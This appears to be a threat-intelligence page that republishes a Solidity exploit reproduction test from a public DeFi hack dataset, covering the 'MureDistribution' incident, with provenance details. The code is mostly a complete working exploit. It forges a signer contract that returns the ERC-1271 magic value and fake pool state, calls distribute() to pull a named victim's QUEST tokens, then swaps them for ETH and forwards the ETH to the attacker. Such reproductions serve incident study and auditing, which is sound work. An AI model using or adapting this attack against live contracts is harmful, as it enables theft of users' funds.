Skip to content
THREATWIRE

Public reproduction file

src/test/2026-05/MureDistribution_exp.sol

Public reproduction file for dataset entry MureDistribution.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-05/MureDistribution_exp.sol172 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4import {Test} from "forge-std/Test.sol";
5import {console} from "forge-std/console.sol";
6import {IERC20} from "forge-std/interfaces/IERC20.sol";
7
8// @KeyInfo - Total Lost : ~5.45 ETH
9// Attacker : https://etherscan.io/address/0x08096e9ae70d7c5f2707b203a7801b75d1412156
10// Attack Contract : https://etherscan.io/address/0x2b896760f8ad2ecf58ef93bdf71ac5e85c2b7f63
11// Vulnerable Contract : https://etherscan.io/address/0x365083717efb17f3895290ba38f20f568c7a4d8a
12// Attack Tx : https://etherscan.io/tx/0xb83040361a0ec72fa2d06ad69493226518a5f8b5d96c19b400626248f9c5b798
13//
14// @Info
15// Vulnerable Contract Code : https://etherscan.io/address/0x365083717efb17f3895290ba38f20f568c7a4d8a#code
16//
17// @Analysis
18// Post-mortem : N/A
19// Twitter Guy : https://x.com/DefimonAlerts/status/2058211424761942226
21contract MureDistributionTest is Test {
22 bytes32 internal constant TX_HASH = 0xb83040361a0ec72fa2d06ad69493226518a5f8b5d96c19b400626248f9c5b798;
23 uint256 internal constant FORK_BLOCK = 25_141_106;
24 uint256 internal constant TX_TIMESTAMP = 1_779_336_287;
25 address internal constant ATTACKER = 0x08096e9ae70D7C5F2707b203A7801b75d1412156;
26 address internal constant VICTIM = 0x29b0a315924E05aC0c898a63D96daA33CfD1cAc7;
27 address internal constant MURE_DISTRIBUTION = 0x365083717eFB17F3895290BA38f20F568C7A4D8a;
28 IERC20 internal constant QUEST = IERC20(0x1Fc122FE8b6Fa6b8598799baF687539b5D3B2783);
30 uint256 internal constant DRAINED_QUEST = 4_848_683_803_036;
32 function setUp() public {
33 vm.createSelectFork("mainnet", FORK_BLOCK);
34 vm.warp(TX_TIMESTAMP);
35 vm.deal(ATTACKER, 0);
37 vm.label(ATTACKER, "Attacker");
38 vm.label(VICTIM, "Victim");
39 vm.label(MURE_DISTRIBUTION, "MureDistribution Proxy");
40 vm.label(address(QUEST), "QUEST");
41 }
43 function testExploit() public {
44 uint256 beforeEth = ATTACKER.balance;
45 uint256 beforeVictimQuest = QUEST.balanceOf(VICTIM);
47 vm.prank(ATTACKER, ATTACKER);
48 new MureDistributionExploit(ATTACKER);
50 uint256 stolenQuest = beforeVictimQuest - QUEST.balanceOf(VICTIM);
51 uint256 ethProfit = ATTACKER.balance - beforeEth;
53 assertEq(stolenQuest, DRAINED_QUEST, "QUEST drain mismatch");
54 assertGt(ethProfit, 5 ether, "ETH profit too low");
56 console.log("Stolen QUEST", stolenQuest);
57 console.log("Profit ETH", ethProfit);
58 }
61contract MureDistributionExploit {
62 constructor(address attacker) payable {
63 MureSignerSource source = new MureSignerSource(address(this));
64 source.attack();
66 (bool ok,) = attacker.call{value: address(this).balance}("");
67 require(ok, "eth transfer failed");
68 }
70 receive() external payable {}
73contract MureSignerSource {
74 bytes4 internal constant ERC1271_MAGIC_VALUE = 0x1626ba7e;
75 bytes4 internal constant ERC165_INTERFACE_ID = 0x01ffc9a7;
76 bytes4 internal constant MURE_POOL_INTERFACE_ID = 0x10704b42;
78 address internal constant VICTIM = 0x29b0a315924E05aC0c898a63D96daA33CfD1cAc7;
79 IMureDistribution internal constant MURE_DISTRIBUTION = IMureDistribution(0x365083717eFB17F3895290BA38f20F568C7A4D8a);
80 IUniswapV3Router internal constant UNISWAP_V3_ROUTER = IUniswapV3Router(0xE592427A0AEce92De3Edee1F18E0157C05861564);
81 IERC20 internal constant QUEST = IERC20(0x1Fc122FE8b6Fa6b8598799baF687539b5D3B2783);
82 address internal constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
83 IWETH internal constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
85 uint24 internal constant QUEST_USDC_FEE = 10_000;
86 uint24 internal constant USDC_WETH_FEE = 500;
87 uint256 internal constant DRAINED_QUEST = 4_848_683_803_036;
89 address internal immutable owner;
91 constructor(address owner_) {
92 owner = owner_;
93 }
95 function attack() external {
96 require(msg.sender == owner, "not owner");
98 MURE_DISTRIBUTION.distribute(
99 IMureDistribution.Distribution({
100 token: address(QUEST),
101 source: address(this),
102 from: VICTIM,
103 to: address(this),
104 poolId: "quest",
105 amount: DRAINED_QUEST,
106 deadline: block.timestamp + 1
107 }),
108 address(this),
109 ""
110 );
112 require(QUEST.approve(address(UNISWAP_V3_ROUTER), type(uint256).max), "QUEST approve failed");
113 uint256 wethOut = UNISWAP_V3_ROUTER.exactInput(
114 IUniswapV3Router.ExactInputParams({
115 path: abi.encodePacked(address(QUEST), QUEST_USDC_FEE, USDC, USDC_WETH_FEE, address(WETH)),
116 recipient: address(this),
117 deadline: block.timestamp,
118 amountIn: QUEST.balanceOf(address(this)),
119 amountOutMinimum: 1
120 })
121 );
123 WETH.withdraw(wethOut);
124 (bool ok,) = owner.call{value: address(this).balance}("");
125 require(ok, "owner eth transfer failed");
126 }
128 function poolState(string calldata) external view returns (uint256, uint256, uint256, uint256, uint256, address, uint256, address){
129 return (0, 0, 0, 0, 0, address(QUEST), 0, address(this));
130 }
132 function isValidSignature(bytes32, bytes calldata) external pure returns (bytes4){
133 return ERC1271_MAGIC_VALUE;
134 }
136 function supportsInterface(bytes4 interfaceId) external pure returns (bool) {
137 return interfaceId == ERC165_INTERFACE_ID || interfaceId == MURE_POOL_INTERFACE_ID;
138 }
140 receive() external payable {}
144interface IMureDistribution {
145 struct Distribution {
146 address token;
147 address source;
148 address from;
149 address to;
150 string poolId;
151 uint256 amount;
152 uint256 deadline;
153 }
155 function distribute(Distribution calldata distribution, address signer, bytes calldata signature) external;
158interface IUniswapV3Router {
159 struct ExactInputParams {
160 bytes path;
161 address recipient;
162 uint256 deadline;
163 uint256 amountIn;
164 uint256 amountOutMinimum;
165 }
167 function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut);
170interface IWETH is IERC20 {
171 function withdraw(uint256 wad) external;

Analysis

Dataset entry

Public Foundry test for “MureDistribution” (2026-05-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol, forge-std/console.sol, forge-std/interfaces/IERC20.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x08096e9ae70d7c5f2707b203a7801b75d1412156

  • Attack Contract

    0x2b896760f8ad2ecf58ef93bdf71ac5e85c2b7f63

  • Vulnerable Contract

    0x365083717efb17f3895290ba38f20f568c7a4d8a

  • Attack Tx

    0xb83040361a0ec72fa2d06ad69493226518a5f8b5d96c19b400626248f9c5b798

File record

Name
MureDistribution
Path
src/test/2026-05/MureDistribution_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
3903a0edc2099d40af3a86deaa7fd59ffd50d278
Language
Solidity
Size
172 lines
Date
2026-05-21
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-05/MureDistribution_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 3903a0edc2099d40af3a86deaa7fd59ffd50d278, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.